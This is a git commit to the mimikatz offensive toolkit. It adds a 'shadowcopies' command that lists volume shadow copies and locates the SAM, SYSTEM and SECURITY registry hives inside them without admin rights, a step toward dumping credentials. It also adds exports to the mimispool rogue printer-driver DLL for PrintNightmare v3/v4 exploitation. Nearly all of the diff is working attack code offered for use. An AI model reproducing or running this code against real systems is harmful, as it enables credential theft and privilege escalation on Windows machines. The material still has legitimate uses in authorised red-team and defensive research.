[new] mimikatz misc::shadowcopies (to display some properties without admin rights)

[new] mimikatz mimispool module includes some functions for printnigtmare v3/v4 (must be recompiled after adjust)
[internal] new ntdll.min.lib to call NtOpenDirectoryObject/NtQueryDirectoryObject
This commit is contained in:
Benjamin DELPY 2021-07-21 23:50:54 +02:00
parent c8920c74b2
commit ba3c2c66f6
10 changed files with 193 additions and 8 deletions

Binary file not shown.

Binary file not shown.

View File

@ -30,6 +30,7 @@ const KUHL_M_C kuhl_m_c_misc[] = {
{kuhl_m_misc_spooler, L"spooler", NULL},
{kuhl_m_misc_printnightmare, L"printnightmare", NULL},
{kuhl_m_misc_sccm_accounts, L"sccm", NULL},
{kuhl_m_misc_shadowcopies, L"shadowcopies", NULL},
};
const KUHL_M kuhl_m_misc = {
L"misc", L"Miscellaneous module", NULL,
@ -1883,3 +1884,85 @@ NTSTATUS kuhl_m_misc_sccm_accounts(int argc, wchar_t * argv[])
return STATUS_SUCCESS;
}
DECLARE_CONST_UNICODE_STRING(usRootDevice, L"\\Device");
DECLARE_CONST_UNICODE_STRING(usDevice, L"Device");
const OBJECT_ATTRIBUTES oaDevice = RTL_CONSTANT_OBJECT_ATTRIBUTES(&usRootDevice, 0);
const wchar_t *INT_FILES[] = {L"SYSTEM", L"SAM", L"SECURITY", L"SOFTWARE"};
NTSTATUS kuhl_m_misc_shadowcopies(int argc, wchar_t * argv[])
{
NTSTATUS status;
HANDLE hDeviceDirectory;
BYTE Buffer[0x100];
ULONG Start, Context, ReturnLength, i, j;
BOOLEAN RestartScan;
POBJECT_DIRECTORY_INFORMATION pDirectoryInformation;
PWSTR szName, szShadowName, szFullPath;
WIN32_FILE_ATTRIBUTE_DATA Attribute;
status = NtOpenDirectoryObject(&hDeviceDirectory, DIRECTORY_QUERY | DIRECTORY_TRAVERSE, (POBJECT_ATTRIBUTES) &oaDevice);
if(NT_SUCCESS(status))
{
for(Start = 0, Context = 0, RestartScan = TRUE, status = STATUS_MORE_ENTRIES; status == STATUS_MORE_ENTRIES; )
{
status = NtQueryDirectoryObject(hDeviceDirectory, Buffer, sizeof(Buffer), FALSE, RestartScan, &Context, &ReturnLength);
if(NT_SUCCESS(status))
{
pDirectoryInformation = (POBJECT_DIRECTORY_INFORMATION) Buffer;
for(i = 0; i < (Context - Start); i++)
{
if(RtlEqualUnicodeString(&usDevice, &pDirectoryInformation[i].TypeName, TRUE))
{
szName = kull_m_string_unicode_to_string(&pDirectoryInformation[i].Name);
if(szName)
{
if(szName == wcsstr(szName, L"HarddiskVolumeShadowCopy"))
{
if(kull_m_string_sprintf(&szShadowName, L"\\\\?\\GLOBALROOT\\Device\\%s\\", szName))
{
kprintf(L"\nShadowCopy Volume : %s\n", szName);
kprintf(L"| Path : %s\n", szShadowName);
if(GetFileAttributesEx(szShadowName, GetFileExInfoStandard, &Attribute))
{
kprintf(L"| Volume LastWrite: ");
kull_m_string_displayLocalFileTime(&Attribute.ftLastWriteTime);
kprintf(L"\n");
}
else PRINT_ERROR_AUTO(L"GetFileAttributesEx");
kprintf(L"\n");
for(j = 0; j < ARRAYSIZE(INT_FILES); j++)
{
if(kull_m_string_sprintf(&szFullPath, L"%sWindows\\System32\\config\\%s", szShadowName, INT_FILES[j]))
{
kprintf(L"* %s\n", szFullPath);
if(GetFileAttributesEx(szFullPath, GetFileExInfoStandard, &Attribute))
{
kprintf(L" | LastWrite : ");
kull_m_string_displayLocalFileTime(&Attribute.ftLastWriteTime);
kprintf(L"\n");
}
else PRINT_ERROR_AUTO(L"GetFileAttributesEx");
LocalFree(szFullPath);
}
}
LocalFree(szShadowName);
}
}
LocalFree(szName);
}
}
}
Start = Context;
RestartScan = FALSE;
}
else PRINT_ERROR(L"NtQueryDirectoryObject: 0x%08x\n", status);
}
CloseHandle(hDeviceDirectory);
}
else PRINT_ERROR(L"NtOpenDirectoryObject: 0x%08x\n", status);
return STATUS_SUCCESS;
}

View File

@ -47,6 +47,7 @@ NTSTATUS kuhl_m_misc_aadcookie_NgcSignWithSymmetricPopKey(int argc, wchar_t * ar
NTSTATUS kuhl_m_misc_spooler(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_misc_printnightmare(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_misc_sccm_accounts(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_misc_shadowcopies(int argc, wchar_t * argv[]);
BOOL kuhl_m_misc_printnightmare_normalize_library(LPCWSTR szLibrary, LPWSTR *pszNormalizedLibrary, LPWSTR *pszShortLibrary);
BOOL kuhl_m_misc_printnightmare_FillStructure(PDRIVER_INFO_2 pInfo2, BOOL bIsX64, BOOL bIsDynamic, LPCWSTR szForce, BOOL bIsPar, handle_t hRemoteBinding);

View File

@ -14,7 +14,7 @@ BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserv
case DLL_PROCESS_ATTACH:
kspool(TEXT(__FUNCTION__) L"-PROCESS_ATTACH");
ret = FALSE;
// FALSE avoid to keep library in memory
// FALSE avoid to keep library in memory (PrintNightmare < 3/4)
// TRUE will mimic "real" driver/config -- to use/test with /useown on local (remote is not compatible with GetFileVersionInfo*)
break;
@ -100,11 +100,7 @@ void kspool(LPCWSTR szFrom)
if(kspool_logfile = _wfopen(L"mimispool.log", L"a"))
#pragma warning(pop)
{
if(GetUserName(Buffer, &cbBuffer))
{
klog(kspool_logfile, L"[" PLATFORM L"] [%s] I\'m running with \'%s\' (and I like it :)\n", szFrom, Buffer);
}
klog(kspool_logfile, L"[" PLATFORM L"] [%s] as \'%s\'\n", szFrom, GetUserName(Buffer, &cbBuffer) ? Buffer : L"-");
fclose(kspool_logfile);
}
}
@ -119,4 +115,16 @@ void klog(FILE * logfile, PCWCHAR format, ...)
va_end(args);
fflush(logfile);
}
}
DWORD WINAPI GenerateCopyFilePaths(LPCWSTR pszPrinterName, LPCWSTR pszDirectory, LPBYTE pSplClientInfo, DWORD dwLevel, LPWSTR pszSourceDir, LPDWORD pcchSourceDirSize, LPWSTR pszTargetDir, LPDWORD pcchTargetDirSize, DWORD dwFlags)
{
kspool(TEXT(__FUNCTION__));
return ERROR_SUCCESS;
}
BOOL WINAPI SpoolerCopyFileEvent(LPWSTR pszPrinterName, LPWSTR pszKey, DWORD dwCopyFileEvent)
{
kspool(TEXT(__FUNCTION__));
return TRUE;
}

View File

@ -4,4 +4,7 @@ EXPORTS
DrvEnableDriver
DrvDisableDriver
DrvResetConfigCache
DrvResetConfigCache
GenerateCopyFilePaths
SpoolerCopyFileEvent

View File

@ -33,4 +33,7 @@ __control_entrypoint(DeviceDriver) BOOL APIENTRY DrvEnableDriver(ULONG iEngineVe
VOID APIENTRY DrvDisableDriver();
void kspool(LPCWSTR szFrom);
void klog(FILE * logfile, PCWCHAR format, ...);
void klog(FILE * logfile, PCWCHAR format, ...);
DWORD WINAPI GenerateCopyFilePaths(LPCWSTR pszPrinterName, LPCWSTR pszDirectory, LPBYTE pSplClientInfo, DWORD dwLevel, LPWSTR pszSourceDir, LPDWORD pcchSourceDirSize, LPWSTR pszTargetDir, LPDWORD pcchTargetDirSize, DWORD dwFlags);
BOOL WINAPI SpoolerCopyFileEvent(LPWSTR pszPrinterName, LPWSTR pszKey, DWORD dwCopyFileEvent);

View File

@ -373,6 +373,74 @@ typedef struct _SYSTEM_ISOLATED_USER_MODE_INFORMATION {
//ULONGLONG Spare1;
} SYSTEM_ISOLATED_USER_MODE_INFORMATION, *PSYSTEM_ISOLATED_USER_MODE_INFORMATION;
#define OBJ_INHERIT 0x00000002L
#define OBJ_PERMANENT 0x00000010L
#define OBJ_EXCLUSIVE 0x00000020L
#define OBJ_CASE_INSENSITIVE 0x00000040L
#define OBJ_OPENIF 0x00000080L
#define OBJ_OPENLINK 0x00000100L
#define OBJ_KERNEL_HANDLE 0x00000200L
#define OBJ_FORCE_ACCESS_CHECK 0x00000400L
#define OBJ_VALID_ATTRIBUTES 0x000007F2L
typedef struct _OBJECT_ATTRIBUTES64 {
ULONG Length;
ULONG64 RootDirectory;
ULONG64 ObjectName;
ULONG Attributes;
ULONG64 SecurityDescriptor;
ULONG64 SecurityQualityOfService;
} OBJECT_ATTRIBUTES64;
typedef OBJECT_ATTRIBUTES64 *POBJECT_ATTRIBUTES64;
typedef CONST OBJECT_ATTRIBUTES64 *PCOBJECT_ATTRIBUTES64;
typedef struct _OBJECT_ATTRIBUTES32 {
ULONG Length;
ULONG RootDirectory;
ULONG ObjectName;
ULONG Attributes;
ULONG SecurityDescriptor;
ULONG SecurityQualityOfService;
} OBJECT_ATTRIBUTES32;
typedef OBJECT_ATTRIBUTES32 *POBJECT_ATTRIBUTES32;
typedef CONST OBJECT_ATTRIBUTES32 *PCOBJECT_ATTRIBUTES32;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR
PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE
} OBJECT_ATTRIBUTES;
typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES;
typedef CONST OBJECT_ATTRIBUTES *PCOBJECT_ATTRIBUTES;
#define InitializeObjectAttributes( p, n, a, r, s ) { \
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
#define RTL_CONSTANT_OBJECT_ATTRIBUTES(n, a) \
{ sizeof(OBJECT_ATTRIBUTES), NULL, RTL_CONST_CAST(PUNICODE_STRING)(n), a, NULL, NULL }
#define RTL_INIT_OBJECT_ATTRIBUTES(n, a) RTL_CONSTANT_OBJECT_ATTRIBUTES(n, a)
#define DIRECTORY_QUERY 0x0001
#define DIRECTORY_TRAVERSE 0x0002
#define DIRECTORY_CREATE_OBJECT 0x0004
#define DIRECTORY_CREATE_SUBDIRECTORY 0x0008
#define DIRECTORY_ALL_ACCESS STANDARD_RIGHTS_REQUIRED | 0xF
typedef struct _OBJECT_DIRECTORY_INFORMATION {
UNICODE_STRING Name;
UNICODE_STRING TypeName;
} OBJECT_DIRECTORY_INFORMATION, *POBJECT_DIRECTORY_INFORMATION;
extern NTSTATUS WINAPI NtQuerySystemInformation(IN SYSTEM_INFORMATION_CLASS SystemInformationClass, OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT OPTIONAL PULONG ReturnLength);
extern NTSTATUS WINAPI NtQuerySystemInformationEx(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID InputBuffer, ULONG InputBufferLength, PVOID SystemInformation, ULONG SystemInformationLength, ULONG *ReturnLength);
extern NTSTATUS WINAPI NtSetSystemInformation(IN SYSTEM_INFORMATION_CLASS SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength);
@ -380,6 +448,8 @@ extern NTSTATUS WINAPI NtQueryInformationProcess(IN HANDLE ProcessHandle, IN PRO
extern NTSTATUS WINAPI NtSuspendProcess(IN HANDLE ProcessHandle);
extern NTSTATUS WINAPI NtResumeProcess(IN HANDLE ProcessHandle);
extern NTSTATUS WINAPI NtTerminateProcess(IN OPTIONAL HANDLE ProcessHandle, IN NTSTATUS ExitStatus);
extern NTSTATUS WINAPI NtOpenDirectoryObject(OUT PHANDLE DirectoryHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes);
extern NTSTATUS WINAPI NtQueryDirectoryObject(IN HANDLE DirectoryHandle, OUT OPTIONAL PVOID Buffer, IN ULONG Length, IN BOOLEAN ReturnSingleEntry, IN BOOLEAN RestartScan, IN OUT PULONG Context, OUT OPTIONAL PULONG ReturnLength);
typedef NTSTATUS (WINAPI * PNTQUERYSYSTEMINFORMATIONEX) (SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID InputBuffer, ULONG InputBufferLength, PVOID SystemInformation, ULONG SystemInformationLength, ULONG *ReturnLength);

View File

@ -358,6 +358,22 @@ BOOL kull_m_string_copyA(LPSTR *dst, LPCSTR src)
return status;
}
PWSTR kull_m_string_unicode_to_string(PCUNICODE_STRING src)
{
PWSTR ret = NULL;
if(src->Length && src->Buffer)
{
ret = (PWSTR) LocalAlloc(LPTR, src->Length + sizeof(wchar_t));
if(ret)
{
RtlCopyMemory(ret, src->Buffer, src->Length);
}
}
return ret;
}
BOOL kull_m_string_quickxml_simplefind(LPCWSTR xml, LPCWSTR node, LPWSTR *dst)
{
BOOL status = FALSE;

View File

@ -95,6 +95,7 @@ BOOL kull_m_string_copy_len(LPWSTR *dst, LPCWSTR src, size_t size);
BOOL kull_m_string_copy(LPWSTR *dst, LPCWSTR src);
BOOL kull_m_string_copyA_len(LPSTR *dst, LPCSTR src, size_t size);
BOOL kull_m_string_copyA(LPSTR *dst, LPCSTR src);
PWSTR kull_m_string_unicode_to_string(PCUNICODE_STRING src);
BOOL kull_m_string_quickxml_simplefind(LPCWSTR xml, LPCWSTR node, LPWSTR *dst);
#if !defined(MIMIKATZ_W2000_SUPPORT)
BOOL kull_m_string_quick_base64_to_Binary(PCWSTR base64, PBYTE *data, DWORD *szData);